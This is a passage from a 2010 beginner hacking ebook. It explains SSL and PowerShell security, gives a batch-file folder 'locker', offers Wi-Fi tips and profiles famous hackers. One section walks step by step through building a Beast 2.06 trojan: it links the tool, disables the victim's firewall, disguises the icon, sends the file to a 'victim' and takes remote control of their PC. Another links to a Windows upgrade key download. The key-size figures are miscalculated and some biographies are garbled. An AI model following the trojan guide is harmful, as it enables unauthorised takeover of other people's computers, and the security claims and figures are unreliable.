4783w w w . h a c k i n g t e c h . c o . t v
4784Page 215
4785Summary
4786PowerShell is the new kid on the block. With Windows Server 2008 coming out in early 2008, PowerShell will take off like
4787a rocket ship. With all of the attention that PowerShell is getting, everyone is hoping that it comes with security already
4788built-in. Well, the worry is over. PowerShell provides security directly out of the box, with default security features. The
4789fact that the scripts are set to have a restricted execution policy is fantastic. Even if you have created a .PS1 file, that script
4790being associated with Notepad is nice default security. Even if you can get to the PowerShell interface, the fact that the
4791path to the script must be typed in adds value. Beyond the defaults, being able to set the execution policy and control
4792PowerShell through Group Policy gives centralized control over PowerShell security.
4793Hacking For Beginners – Manthan Desai 2010
4794w w w . h a c k i n g t e c h . c o . t v
4795Page 216
479643. What is Secure Sockets Layers (SSL)?
4797Secure Sockets Layer (SSL) is the most widely used technology for providing a secure communication between the web
4798client and the web server. Most of us are familiar with many sites such as Gmail, Yahoo etc. using https protocol in their
4799login pages. When we see this, we may wonder what’s the difference between http and https. In simple words HTTP
4800protocol is used for standard communication between the Web server and the client. HTTPS is used for a SECURE
4801communication.
4802What exactly is Secure Communication?
4803Suppose there exists two communication parties A (client) and B (server).
4804Working of HTTP
4805When A sends a message to B, the message is sent as a plain text in an unencrypted manner. This is acceptable in normal
4806situations where the messages exchanged are not confidential. But imagine a situation where A sends a PASSWORD to B.
4807In this case, the password is also sent as a plain text. This has a serious security problem because, if an intruder (hacker)
4808can gain unauthorized access to the ongoing communication between A and B, he can see the PASSWORDS since they
4809remain unencrypted. This scenario is illustrated using the following figure.
4810Now lets see the working of HTTPS
4811When A sends a PASSWORD (say "mypass") to B, the message is sent in an encrypted format. The encrypted message is
4812decrypted on B’s side. So even if the Hacker gains an unauthorized access to the ongoing communication
4813between A and B he gets only the encrypted password ("xz54p6kd") and not the original password. This is shown below.
4814Hacking For Beginners – Manthan Desai 2010
4815w w w . h a c k i n g t e c h . c o . t v
4816Page 217
4817How is HTTPS implemented?
4818HTTPS is implemented using Secure Sockets Layer (SSL). A website can implement HTTPS by purchasing an SSL Certificate.
4819Secure Sockets Layer (SSL) technology protects a Web site and makes it easy for the Web site visitors to trust it. It has the
4820following uses
48211. An SSL Certificate enables encryption of sensitive information during online transactions.
48222. Each SSL Certificate contains unique, authenticated information about the certificate owner.
48233. A Certificate Authority verifies the identity of the certificate owner when it is issued.
4824How Encryption Works?
4825Each SSL Certificate consists of a Public key and a Private Key. The public key is used to encrypt the information and the
4826private key is used to decrypt it. When your browser connects to a secure domain, the server sends a Public key to the
4827browser to perform the encryption. The public key is made available to every one but the private key (used for
4828decryption) is kept secret. So during a secure communication, the browser encrypts the message using the public key and
4829sends it to the server. The message is decrypted on the server side using the Private Key (Secret key).
4830How to identify a Secure Connection?
4831In Internet Explorer, you will see a lock icon in the Security Status bar. The Security Status bar is located on the right
4832side of the Address bar. You can click the lock to view the identity of the website.
4833In high-security browsers, the authenticated organization name is prominently displayed and the address bar
4834turns GREEN when an Extended Validation SSL Certificate is detected. If the information does not match or the certificate
4835has expired, the browser displays an error message or warning and the status bar may turn RED.
4836So the bottom line is, whenever you perform an on-line transaction such as Credit card payment, Bank login or Email
4837login always ensure that you have a secure communication. A secure communication is a must in these situations.
4838Otherwise there are chances of Phishing using a Fake login Page.
4839How secure is the encryption used by SSL?
4840It would take significantly longer than the age of the universe to crack a 128-bit key.
4841SSL uses public-key encryption to exchange a session key between the client and server; this session key is used to
4842encrypt the http transaction (both request and response). Each transaction uses a different session key so that even if
4843Hacking For Beginners – Manthan Desai 2010
4844w w w . h a c k i n g t e c h . c o . t v
4845Page 218
4846someone did manage to decrypt a transaction, that would not mean that they would have found the server's secret key; if
4847they wanted to decrypt another transaction, they'd need to spend as much time and effort on the second transaction as
4848they did on the first. Of course, they would have first have to have figured out some method of intercepting the
4849transaction data in the first place, which is in itself extremely difficult. It would be significantly easier to tap your phone,
4850or to intercept your mail to acquire your credit card number than to somehow intercept and decode Internet Data.
4851Servers and browsers do encryption ranging from a 40-bit secret key to a 128-bit secret key, that is to say '2 to the 40th
4852power' or '2 to the 128th power'. Many people have heard that 40-bit is insecure and that you need 128-bit to keep your
4853credit card info safe. They feel that using a 40-bit key is insecure because it's vulnerable to a "brute force" attack
4854(basically trying each of the 2^40 possible keys until you find the one that decrypts the message). This was in fact
4855demonstrated when a French researcher used a network of fast workstations to crack a 40-bit encrypted message in a
4856little over a week. Of course, even this 'vulnerability' is not really applicable to applications like an online credit card
4857transaction, since the transaction is completed in a few moments. If a network of fast computers takes a week to crack a
485840-bit key, you'd be completed your transaction and long gone before the hacker even got started.
4859Of course, using a 128-bit key eliminates any problem at all because there are 2^128 instead of 2^40 possible keys. Using
4860the same method (a networked of fast workstations) to crack a message encrypted with such a key would take
4861significantly longer than the age of the universe using conventional technology. Remember that 128-bit is not just 'three
4862times' as powerful as 40-bit encryption. 2^128 is 'two times two, times two, times two...' with 128 two's. That is two,
4863doubled on itself 128 times. 2^40 is already a HUGE number, about a trillion (that's a million, million!). Therefore 2^128
4864is that number (a trillion), doubled over and over on itself another 88 times. Again, it would take significantly longer than
4865the age of the universe to crack a 128-bit key.
4866Key Size
4867Possible Key Combinations
48682-bit 2^2 2x2 = 4
48693-bit 2^3 2x2x2 = 8
48704-bit 2^4 2x2x2x2 = 16
48715-bit 2^5 2x2x2x2x2 = 32
48726-bit 2^6 2x2x2x2x2x2 = 64
48737-bit 2^7 2x2x2x2x2x2x2 = 128
48748-bit 2^8 2x2x2x2x2x2x2x2 = 256
48759-bit 2^9 2x2x2x2x2x2x2x2x2 = 512
487610-bit 2^10 2x2x2x2x2x2x2x2x2x2 = 1024
487711-bit 2^11 2x2x2x2x2x2x2x2x2x2... = 2048
487812-bit 2^12 2x2x2x2x2x2x2x2x2x2... = 4096
487916-bit 2^16 2x2x2x2x2x2x2x2x2x2... = 65536
488024-bit 2^24 2x2x2x2x2x2x2x2x2x2... = 16.7 million
488130-bit 2^30 2x2x2x2x2x2x2x2x2x2... = 1 billion (1,073,741,800)
4882Hacking For Beginners – Manthan Desai 2010
4883w w w . h a c k i n g t e c h . c o . t v
4884Page 219
488540-bit 2^40 2x2x2x2x2x2x2x2x2x2... = 1 trillion (1,097,728,000,000)
488656-bit 2^56 2x2x2x2x2x2x2x2x2x2.... = 72 thousand quadrillion (71,892,000,000,000,000)
4887128-bit 2^128
48882 multiplied by 2
4889128 times over.
4890= 339,000,000,000,000,000,000,000,000,000,000,000
4891(give or take a couple trillion...)
4892Doing the math, you can see that using the same method that was used to break 40-bit encryption in a week, it would
4893take about 72 million weeks (about 1.4 million years) to even break '56-bit medium' encryption and significantly longer
4894than the age of the universe to crack a 128-bit key. Of course the argument is that computers will keep getting faster,
4895about doubling in power every 18 months. That is true, but even when computers are a million times faster than they are
4896now (about 20 years from now if they double in speed every year), it would then still take about 6 thousand, trillion years,
4897which is about a million times longer than the Earth has been around. Plus, simply upgrading to 129-bit encryption would
4898take twice as long, and 130-bit would take twice as long again. As you can see, it's far easier for the encryption to keep
4899well ahead of the technology in this case. Simply put, 128-bit encryption is totally secure.
4900How do I know if encryption is enabled or not?
4901Your Browser (Netscape or Internet Explorer) will tell you.
4902In Netscape versions 3.X and earlier you can tell what kind of encryption is in use for a particular document by looking at
4903the "document" information" screen accessible from the file menu. The little key in the lower left-hand corner of the
4904Netscape window also indicates this information. A solid key with three teeth means 128-bit encryption, a solid key with
4905two teeth means 40-bit encryption, and a broken key means no encryption. Even if your browser supports 128-bit
4906encryption, it may use 40-bit encryption when talking to other servers or to servers outside the U.S. and Canada. In
4907Netscape versions 4.X and higher, click on the "Security" button to determine whether the current page is encrypted, and,
4908if so, what level of encryption is in use.
4909In Microsoft Internet Explorer, a solid padlock will appear on the bottom right of the screen when encryption is in use. To
4910determine whether 40-bit or 128-bit encryption is in effect, open the document information page using File->Properties.
4911This will indicate whether "weak" or "strong" encryption is in use.
4912What about warnings or errors about the Secure Certificate?
4913Your personal Security settings will determine what warnings you see.
4914Depending on how your security settings are setup in your Browser, you may also see information about our Certificate
4915when you enter the secure directories. This information will usually include the Dates that the Certificate is valid for, the
4916site name that the Certificate has been issued to, and the Certificate Authority (or 'CA') that issued the Certificate. You
4917can also usually view the Certificate to see information about the various parties, including Inet2000 and our CA.
4918The most common warning is that you have not previously chosen to Trust the authority. This is a normal warning if you
4919haven't already purchased anything online from a Merchant who's certificate was issued by a Certificate Authority that
4920you haven't told your browser to trust from now on. Of course, you may well have no errors, warnings or information
4921screens at all - again, largely depending on the way you've got your security settings set in your Browser.
4922In any case, the encryption level and the security is the same whether you've got your settings low (don't warn me about
4923anything) or very high (warn and inform me about everything). Either way, your data is still encrypted and still secure.
4924Hacking For Beginners – Manthan Desai 2010
4925w w w . h a c k i n g t e c h . c o . t v
4926Page 220
492744. Make a Private Folder with your password
4928Step 1:- Open the Notepad.exe
4929Step 2:- Copy the following code into the notepad.
4930Quote: cls
4931@ECHO OFF
4932title Folder Private
4933if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
4934if NOT EXIST Private goto MDENTER PASSWORD TO OPEN
4935:CONFIRM
4936echo -----------------------------------------------------------
4937echo ================== Www.hackingtech.co.tv ==================
4938echo -----------------------------------------------------------
4939echo Are you sure you want to lock the folder(Y/N)
4940echo Press (Y) for Yes and Press (N) for No.
4941echo -----------------------------------------------------------
4942set/p "cho=>"
4943if %cho%==Y goto LOCK
4944if %cho%==y goto LOCK
4945if %cho%==n goto END
4946if %cho%==N goto END
4947echo Invalid choice.
4948goto CONFIRM
4949:LOCK
4950ren Private "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
4951attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
4952echo Folder locked
4953goto End
4954:UNLOCK
4955echo -----------------------------------------------------------
4956echo ================== Www.hackingtech.co.tv ==================
4957echo -----------------------------------------------------------
4958echo Enter password to unlock folder
4959set/p "pass=>"
4960if NOT %pass%== YOUR PASSWORD goto FAIL
4961attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
4962ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Private
4963echo Folder Unlocked successfully
4964goto End
4965:FAIL
4966echo Invalid password
4967Hacking For Beginners – Manthan Desai 2010
4968w w w . h a c k i n g t e c h . c o . t v
4969Page 221
4970goto end
4971:MDENTER PASSWORD TO OPEN
4972md Private
4973echo Private created successfully
4974goto End
4975:End
4976Step 3:- Now change the password in the if NOT %pass%==YOUR PASSWORDgoto FAIL line replace text of Your
4977Password with your password for the folder lock.
4978Step 4:- Now save this file as locker.bat and you are done.
4979Step 5:- Now Open the Locker.bat file and enter your password to open a private folder of yours.
4980Step 6:- Now copy paste the files which you want to hide and make it secure in the private folder.
4981Step 7:- Now again open the Locker.bat file and press 'Y' to lock the private folder with your password.
4982Step 8:- Now to again open the secured files open the locker.bat file Enter your password and your files are there for you.
4983“You can use Bat to exe converter and can convert it into .exe file to safeguard the code above.”
4984Hacking For Beginners – Manthan Desai 2010
4985w w w . h a c k i n g t e c h . c o . t v
4986Page 222
498745. Making a Trojan using Beast 2.06
4988Step 1:- Download the necessary software i.e. Beast 2.06
4989Step 2:- Unrar the pack.
4990Step 3:- Open the software you will get the screen as shown below.
4991Step 4:- Now click on “Build server “button.
4992“Download Beast 2.06 from here: http://www.hackingtech.co.tv/Trojans/Beast.rar”.
4993Hacking For Beginners – Manthan Desai 2010
4994w w w . h a c k i n g t e c h . c o . t v
4995Page 223
4996Step 5:- Now in this window click on the notifications tab.
4997Step 6:- In the notifications tab click on the e-mail button.
4998Step 7:- Now In this window fill your proper and valid email id.
4999Step 8:- Now go to "AV-FW kill” tab.
5000Hacking For Beginners – Manthan Desai 2010
5001w w w . h a c k i n g t e c h . c o . t v
5002Page 224
5003Step 9: - Now In this put a tick mark on the “disable XP firewall ".
5004Step 10:-Now click on "EXE icon” tab.
5005Step 11:- In this tab select any icon for the file from the list or you can browse the icon from the directory and can use it.
5006Hacking For Beginners – Manthan Desai 2010
5007w w w . h a c k i n g t e c h . c o . t v
5008Page 225
5009Step 12:-Now click on the”Save Server” button and the Trojan will be made.
5010Step 13:-Now send this Trojan File to victim.
5011Step 14:- As and when the victim will install the Trojan on his system you will get a notification e-mail on your specified email
5012id while making the Trojan. This Email consists of the IP address and port of the victim.
5013Step 15:-Put This IP address and Port in the place shown in the below snap-shot.
5014Hacking For Beginners – Manthan Desai 2010
5015w w w . h a c k i n g t e c h . c o . t v
5016Page 226
5017Step 16:- After That Click on the "Go Beast” Button and You will be connected to victims PC.
5018Step 17:- Now select the action or task you want to execute on victims PC form the given list.
5019Step 18:- Now to destroy or kill the Trojan click on the “server “tab from the menu.
5020Hacking For Beginners – Manthan Desai 2010
5021w w w . h a c k i n g t e c h . c o . t v
5022Page 227
5023Step 19:-Now click on the “Kill Server “button and the Trojan will be destroyed from the victims PC.
5024Step 20:- You are Done Now.
5025“Do Not Harm or destroy any ones PC this tutorial is for educational Purpose.”
5026Read more:http://www.hackingtech.co.tv/index/making_of_trojan_using_beast_2_06/0-
502777#ixzz152xyeVCC
5028Hacking For Beginners – Manthan Desai 2010
5029w w w . h a c k i n g t e c h . c o . t v
5030Page 228
503146. Hacking yahoo messenger for multi login
5032We often chat on yahoo messenger. I don‘t think so that there is anyone who really doesn‘t know about yahoo
5033messenger, hope you are agree with this comment? But what most people don‘t know is that we can chat with multiple
5034accounts on yahoo messenger at same time. In other words we can chat with different Ids at same time.
5035So if you need to open and login multiple Yahoo! Messenger accounts as you have a few Yahoo! ID or various other
5036reason, just use the small registry registration file below that once click, will modify and merge the registry setting
5037required to run and execute multiple Yahoo! Messengers at the same time on a computer.
5038There are two Methods of doing this
50391. Automatic Method
5040You just need to Download the file and install it into registry
50412. Manual
5042Step1:- Open Registry Editor (regedit.exe) Click Start > Run and then type 'regedit' press enter.
5043Step2:- Then Look For- HKEY_CURRENT_ USER\Software\yahoo\ pager\Test.
5044Step3:- Then change this value of plural to like this- “plural”=dword: 00000001
5045“Download The File From here: http://www.hackingtech.co.tv/YahooMulti.rar ”.
5046“For beginners I will recommend the first method just download and install the script. People who
5047do know registry they can try to manually do this hack.”
5048Hacking For Beginners – Manthan Desai 2010
5049w w w . h a c k i n g t e c h . c o . t v
5050Page 229
505147. 5 Tips to secure your Wi-Fi a connection
50521. Install a Firewall A firewall helps protect your PC by preventing unauthorized users from gaining access to your
5053computer through the Internet or a network. It acts as a barrier that checks any information coming from the Internet or
5054a network, and then either blocks the information or allows it to pass through to your computer.
50552. Change the Administrative Password on your Wireless Routers Each manufacturer ships their wireless routers with a
5056default password for easy initial access. These passwords are easy to find on vendor support sites, and should therefore
5057be changed immediately.
50583. Change the Default SSID Name and Turn off SSID Broadcasting This will require your wireless client computers to
5059manually enter the name of your SSID (Service Set Identifier) before they can connect to your network, greatly minimizing
5060the damage from the casual user whose laptop is configured to connect to any available SSID broadcast it finds. You
5061should also change the SSID name from the factory default, since these are just as well-known as the default passwords
50624. Disable DHCP for a SOHO network with only a few computers consider disabling DHCP (Dynamic Host Configuration
5063Protocol) on your router and assigning IP addresses to your client computers manually. On newer wireless routers, you
5064can even restrict access to the router to specific MAC addresses.
50655. Replace WEP with WPA WEP (Wired Equivalent Privacy) is a security protocol that was designed to provide a wireless
5066computer network with a level of security and privacy comparable to what is usually expected of a wired computer
5067network. WEP is a very weak form of security that uses common 60 or 108 bit key shared among all of the devices on the
5068network to encrypt the wireless data. Hackers can access tools freely available on the Internet that can crack a WEP key in
5069as little as 15 minutes. Once the WEP key is cracked, the network traffic instantly turns into clear text – making it easy for
5070the hacker to treat the network like any open network. WPA (Wi-Fi Protected Access) is a powerful, standards-based,
5071interoperable security technology for wireless computer networks. It provides strong data protection by using 128-bit
5072encryption keys and dynamic session keys to ensure a wireless computer network's privacy and security. Many
5073cryptographers are confident that WPA addresses all the known attacks on WEP. It also adds strong user authentication,
5074which was absent in WEP.
5075Hacking For Beginners – Manthan Desai 2010
5076w w w . h a c k i n g t e c h . c o . t v
5077Page 230
507848. Upgrade Windows 7 to any higher version
5079How to Upgrade Windows 7 to Any Higher Version for Free
5080You bought a new computer with a pre-installed Starter/Home Premium/Professional (Genuine) version of Windows 7
5081and want to upgrade to Professional or Ultimate for free in as few as 10 minutes .
5082Your pre-installed version of Windows 7 actually includes all files that are necessary to perform an in-place (local) upgrade
5083without downloading anything from the internet. One simply needs unlocking features included in higher versions.
5084You can upgrade Windows 7 from/to:
5085Here's what you need to do:
5086To upgrade from one edition of Windows 7 to another edition of Windows 7, use Windows Anytime Upgrade. On your PC,
5087open Windows Anytime Upgrade by clicking the Start button, typing Windows Anytime Upgrade in the search box, and
5088then clicking Windows Anytime Upgrade in the list of results. You will be presented with a screen offering 2 options, one
5089of them suggesting you have a valid Windows Anytime Upgrade key.
5090Once the key has been copied into the appropriate field, it will be verified by MS and the upgrade process will take place.
5091The whole process actually doesn't last longer than 10 minutes, your computer will reboot once or twice. Upon restart,
5092you will notice it now runs a genuine higher version of Windows 7.
5093* You can use Windows Anytime Upgrade to upgrade from a 32-bit version of Windows 7 to a 32-bit version of Windows 7
5094and from a 64-bit version of Windows 7 to a 64-bit version of Windows 7, but you can’t upgrade from a 32-bit version of
5095Windows 7 to a 64-bit version of Windows 7 or vice versa.
5096* Windows Anytime Upgrade isn’t available in all editions of Windows 7 - obviously not in Ultimate version.
5097“Download Windows Anytime Upgrade key from here: http://u.to/MSek
5098Hacking For Beginners – Manthan Desai 2010
5099w w w . h a c k i n g t e c h . c o . t v
5100Page 231
510149. World’s top 10 internet hackers of all time
5102What can hackers do to our PC? Are they really can break our security? The portrayal of hackers in the media has ranged
5103from the high-tech super-spy, as in Mission Impossible where Ethan Hunt repels from the ceiling to hack the CIA computer
5104system and steal the "NOC list,” to the lonely anti-social teen who is simply looking for entertainment.
5105Black Hat Hackers -
5106A black hat hacker, also known as a cracker or a dark side hacker (this last definition is a direct reference to the Star
5107Wars movies and the dark side of the force), is someone who uses his skills with a criminal intent. Some examples are:
5108cracking bank accounts in order to make transferences to their own accounts, stealing information to be sold in the black
5109market, or attacking the computer network of an organization for money.
51101) Jonathan James
5111James cracked into NASA computers, stealing software worth approximately $1.7 million. According to the Department of
5112Justice, "The software supported the International Space Station’s physical environment, including control of the
5113temperature and humidity within the living space.” NASA was forced to shut down its computer systems, ultimately
5114racking up a $41,000 cost. James explained that he downloaded the code to supplement his studies on C programming,
5115but contended,” The code itself was crappy . . . certainly not worth $1.7 million like they claimed.”
5116Hacking For Beginners – Manthan Desai 2010
5117w w w . h a c k i n g t e c h . c o . t v
5118Page 232
51192) Adrian Lamo
5120Adrian Lamo around computers as a very young child. He had a Commodore 64 when he was like 6 or so. And his first
5121interest in seeing how things worked behind the scenes wasn’t all about technology necessarily, and his interest in what
5122you might call hacking isn’t really primarily about technology…He said” It’s not sexy when I’m exploring less obvious
5123aspects of the world that don’t involve multibillion-dollar corporations. There’s a certain amount of tunnel vision there.”
5124Last year, Lamo earned the disapproval of his probation officer in the closing months of his two year probation term when
5125he refused to provide a blood sample for the FBI’s DNA database. The Combined DNA Index System, or CODIS, was
5126created to catalog violent criminals and sexual predators, but the 2004 Justice for All Act expanded the system to
5127include samples from all newly convicted federal felons, including drug offenders and white-collar criminals.
51283) Kevin Mitnick
5129Kevin David Mitnick (born August 6, 1963) is a computer security consultant and author. In the late 20th century, he was
5130convicted of various computer- and communications-related crimes. At the time of his arrest, he was world-famous as the
5131most-wanted computer criminal in the United States.Mitnick gained unauthorized access to his first computer network in
51321979, at 16, when a friend gave him the phone number for the Ark, the computer system Digital Equipment Corporation
5133(DEC) used for developing their RSTS/E operating system software. He broke into DEC’s computer network and copied
5134DEC’s software, a crime he was charged with and convicted of in 1988. He was sentenced to 12 months in prison followed
5135by three years of supervised release. Near the end of his supervised release, Mitnick hacked into Pacific Bell voice mail
5136computers.
5137After a warrant was issued for his arrest, Mitnick fled, becoming a fugitive for two and a half years. According to the U.S.
5138Department of Justice, Mitnick gained unauthorized access to dozens of computer networks while he was a fugitive. He
5139used cloned cellular phones to hide his location and, among other things, copied valuable proprietary software from some
5140of the country’s largest cellular telephone and computer companies. Mitnick also intercepted and stole computer
5141passwords, altered computer networks, and broke into and read private e-mail. Mitnick was apprehended in February
51421995 in North Carolina. He was found with cloned cellular phones, more than 100 clone cellular phone codes, and
5143multiple pieces of false identification.
5144Hacking For Beginners – Manthan Desai 2010
5145w w w . h a c k i n g t e c h . c o . t v
5146Page 233
51474) Kevin Poulsen
5148Kevin Poulsen was among the most accomplished, multi-talented hackers. He worked for SRI International by day, and
5149hacked at night under the handle "Dark Dante”. He trained to be the complete hacker, and even taught himself lock
5150picking. Among other things, Poulsen reactivated old Yellow Page escort telephone numbers for an acquaintance that
5151then ran a virtual agency. When the FBI started pursuing Poulsen, he went underground as a fugitive. When he was
5152featured on NBC’s Unsolved Mysteries, the show’s 1-800 telephone lines mysteriously crashed. He was finally arrested in
5153February, 1995.
5154Poulsen’s best known hack was a takeover of all of the telephone lines for Los Angeles radio station KIIS-FM, guaranteeing
5155that he would be the 102nd caller, and winning a Porsche 944 S2. In June 1994, Poulsen pleaded guilty to seven counts of
5156mail, wire and computer fraud, money laundering, and obstruction of justice, and was sentenced to 51 months in prison
5157and ordered to pay $56,000 in restitution. It was the longest sentence ever given for hacking up to that time. He also later
5158pleaded guilty to breaking into computers and obtaining information on undercover businesses run by the FBI.
51595) Robert Tappan Morris
5160Morris, son of former National Security Agency scientist Robert Morris, is known as the creator of the Morris Worm, the
5161first computer worm to be unleashed on the Internet. As a result of this crime, he was the first person prosecuted under
5162the 1986 Computer Fraud and Abuse Act. Morris wrote the code for the worm while he was a student at Cornell. He
5163asserts that he intended to use it to see how large the Internet was. The worm, however, replicated itself excessively,
5164slowing computers down so that they were no longer usable. It is not possible to know exactly how many computers were
5165affected, but experts estimate an impact of 6,000 machines. He was sentenced to three years’ probation, 400 hours of
5166community service and a fined $10,500.
5167Hacking For Beginners – Manthan Desai 2010
5168w w w . h a c k i n g t e c h . c o . t v
5169Page 234
5170Now we have. .
5171White Hat Hackers –
5172White hat hackers, also known as ethical hackers, or white knights, are computer security experts, who specialize in
5173penetration testing, and other testing methodologies, to ensure that a company’s information systems are secure. Such
5174people are employed by companies where these professionals are sometimes called "sneakers.” Groups of these people
5175are often called tiger teams or red teams. These security experts may utilize a variety of methods to carry out their tests,
5176including social engineering tactics, use of hacking tools, and attempts to evade security to gain entry into secured areas.
51771) Stephen Wazniak
5178Stephen Wazniak, one of the founders of Apple Computer and a long-time hacker hero, recalled the days when a young
5179hacker could twiddle the phone system and make a free phone call to the pope without fear that a goofy prank would
5180turn into an international incident. Steve Wozniak got the first inspirations by its father Jerry, which worked as an
5181engineer at Lockheed, and by the fiktionalen miracle boy Tom Swift. Its father stuck on it with the fascination for
5182electronics and examined frequently the inventions of its son. Tom Swift was on the other hand for it the product of
5183creative liberty, scientific knowledge and the ability to find problem solutions. Tom Swift showed it also the large prices,
5184which expected him as inventors. Until today Wozniak returns to the world from Tom Swift and reads out the books to its
5185own children, in order to inspire it.
51862) Tim Berners-Lee
5187Berners-Lee is famed as the inventor of the World Wide Web, the system that we use to access sites, documents and files
5188on the Internet. He has received numerous recognitions, most notably the Millennium Technology Prize. While working
5189with CERN, a European nuclear research organization, Berners-Lee created a hypertext prototype system that helped
5190researchers share and update information easily. He later realized that hypertext could be joined with the Internet.
5191Berners-Lee recounts how he put them together: "I just had to take the hypertext idea and connect it to the TCP and DNS
5192ideas and "ta-da!” the World Wide Web.”
5193Hacking For Beginners – Manthan Desai 2010
5194w w w . h a c k i n g t e c h . c o . t v
5195Page 235
5196Since his creation of the World Wide Web, Berners-Lee founded the World Wide Web Consortium at MIT. The W3C
5197describes itself as "an international consortium where Member organizations, a full-time staff and the public work
5198together to develop Web standards.” Berners-Lee’s World Wide Web idea, as well as standards from the W3C, is
5199distributed freely with no patent or royalties due.
52003) Linus Torvalds
5201In 1991 Linus Torvalds was a college student at the University of Helsinki. Starting with the basics of a UNIX system, he
5202wrote the kernel — original code — for a new system for his x86 PC that was later dubbed Linux (pronounced linn-ucks).
5203Torvalds revealed the original source code for free — making him a folk hero among programmers — and users around
5204the world began making additions and now continue to tweak it. Linux is considered the leader in the practice of allowing
5205users to re-program their own operating systems. Currently, Torvalds serves as the Linux ringleader, coordinating the
5206code that volunteer programmers contribute to the kernel. He has had an asteroid named after him and received
5207honorary doctorates from Stockholm University and University of Helsinki. He was also featured in Time Magazine’s "60
5208Years of Heroes.”
52094) Richard Stallman
5210Richard Matthew Stallman (born March 16, 1953), often abbreviated "rms”,*1+ is an American software freedom activist,
5211and computer programmer. In September 1983, he launched the GNU Project to create a free Unix-like operating system,
5212and has been the project’s lead architect and organizer. With the launch of the GNU Project, he initiated the free software
5213movement and, in October 1985, set up the Free Software Foundation. Stallman’s life continues to revolve around the
5214promotion of free software. He works against movements like Digital Rights Management (or as he prefers, Digital
5215Restrictions Management) through organizations like Free Software Foundation and League for Programming Freedom.
5216He has received extensive recognition for his work, including awards, fellowships and four honorary doctorates.
5217Hacking For Beginners – Manthan Desai 2010
5218w w w . h a c k i n g t e c h . c o . t v
5219Page 236
52205) Tsutomu Shimomura
5221Shimomura reached fame in an unfortunate manner: he was hacked by Kevin Mitnick. Following this personal attack, he
5222made it his cause to help the FBI capture him. Shimomura’s work to catch Mitnick is commendable, but he is not without
5223his own dark side. Author Bruce Sterling recalls: "He pulls out this AT&T cellphone, pulls it out of the shrinkwrap, fingerhacks
5224it, and starts monitoring phone calls going up and down Capitol Hill while an FBI agent is standing at his shoulder,
5225listening to him.” Shimomura out-hacked Mitnick to bring him down. Shortly after finding out about the intrusion, he
5226rallied a team and got to work finding Mitnick. Using Mitnick’s cell phone, they tracked him near Raleigh-Durham
5227International Airport.
5228The article, "SDSC Computer Experts Help FBI Capture Computer Terrorist” recounts how Shimomura pinpointed Mitnick’s
5229location. Armed with a technician from the phone company, Shimomura "used a cellular frequency direction-finding
5230antenna hooked up to a laptop to narrow the search to an apartment complex.” Mitnick was arrested shortly thereafter.
5231Following the pursuit, Shimomura wrote a book about the incident with journalist John Markoff, which was later turned
5232into a movie.
5233Hacking For Beginners – Manthan Desai 2010
5234w w w . h a c k i n g t e c h . c o . t v
5235Page 237
523650. The complete History of hacking
5237Maybe not the complete history but a valid attempt. A complete hacker history will
5238never be obtainable since so much of the history is fragmented, unfounded and
5239unreported.This will not be a complete list but a work in progress.
52401960s
5241[1960 Nov] Telephone calls are switched for the first time by computer.
5242[1963] Dartmouth College, located in Hanover, New Hampshire, incorporates the introduction to the use of computers as
5243a regular part of the Liberal Arts program.
5244[1963] ASCII (American Standard Code for Information Interchange) is created, permitting machines from different
5245manufacturers to exchange data. ASCII consists of 128 unique strings of ones and zeros.
5246[1964] There are approximately 18,200 computer systems in the United States. Over 70% of those computers were
5247manufactured by International Business Machines (IBM).
5248[1964] Thomas Kurtz and John Kemeny created BASIC (Beginner's All-Purpose Symbolic Instruction Code), an easy- tolearn
5249programming language, for their students at Dartmouth College.
5250[1967] The Advanced Research Projects Agency (ARPA) work with U.S. computer experts to form a network of Interface
5251Message Processors (IMPS). The computers would act as gateways to mainframes at a variety of institutions in the
5252United States and provide a major part of what would become the Internet in the years ahead.
5253[1969] The Advanced Research Projects Agency (ARPA) originates ARPANET , a service designed to provide efficient
5254ways to communicate for scientists. A Cambridge, Massachusetts consulting firm, Bolt Beranek and Newman, who won
5255a ARPA contract to design and build a network of Interface Message Processors (IMPS) the year prior, ships (Sept) the
5256first unit to UCLA and ships (Oct) the second unit to Stanford Research Institute. IMPS act as gateways to mainframes at
5257a variety of institutions in the United States. Within a few days of delivery, the machine at UCLA and Stanford link up for
5258the first time and ARPANET is founded. Later the network expands to four nodes. The first four nodes (networks)
5259consisted of the, University of California Los Angeles, University of California Santa Barbara, University of Utah and the
5260Stanford Research Institute. This system would evolve to be known as the Internet or the Information Super Highway.
5261[1969] Intel makes the announcement of a much larger RAM chip. It boasts of a 1KB capacity.
5262[1969] Ken L. Thompson , Dennis M. Ritchie and others start working on the UNIX operating system at Bell Labs (later
5263AT&T). UNIX was designed with the goal of allowing several users to access the computer simultaneously.
5264[1969] The first computer hackers emerge at MIT. They borrow their name from a term to describe members of a model
5265train group at the school who "hack" the electric trains, tracks, and switches to make them perform faster and differently.
5266A few of the members transfer their curiosity and rigging skills to the new mainframe computing systems being studied
5267and developed on campus.
5268[1969] Joe Engressia ('The Whistler', 'Joybubbles' and 'High Rise Joe') considered the father of phreaking. Joe, who is
5269blind, was a mathematics student at USF in the late 1960s when he discovered that he could whistle into a pay
5270telephone the precise pitch --the 2600- cycle note, close to a high A- - that would trip phone circuits and allow him to
5271make long-distance calls at no cost.
52721970s
5273[1970] An estimated 100,000 computer systems are in use in the United States.
5274Hacking For Beginners – Manthan Desai 2010
5275w w w . h a c k i n g t e c h . c o . t v
5276Page 238
5277[1970] Digital Equipment Corporation (DEC) introduces the famous PDP- 11, which is considered to be one of the best
5278designed minicomputers ever, and many of the machines are still used today. Some of the best computer hackers in the
5279world cut their teeth on -11's.
5280[1971] The first personal computer, the Kenback , is advertised in the September issue of Scientific American.
5281[1971] John Draper ('Cap'n Crunch') learns that a toy whistle given away inside Cap'n Crunch cereal generates a 2600-
5282hertz signal, the same high-pitched tone that accesses AT&T's long-distance switching system. Draper builds a blue box
5283that, when used in conjunction with the whistle and sounded into a phone receiver, allows phreakers to make free calls.
5284[1971] Esquire magazine publishes Secrets of the Little Blue Box with instructions for making a blue box, and wire fraud
5285in the United States escalates. Among the perpetrators: college kids Steve Wozniak and Steve Jobs, future founders of
5286Apple Computer, who launch a home industry making and selling blue boxes .
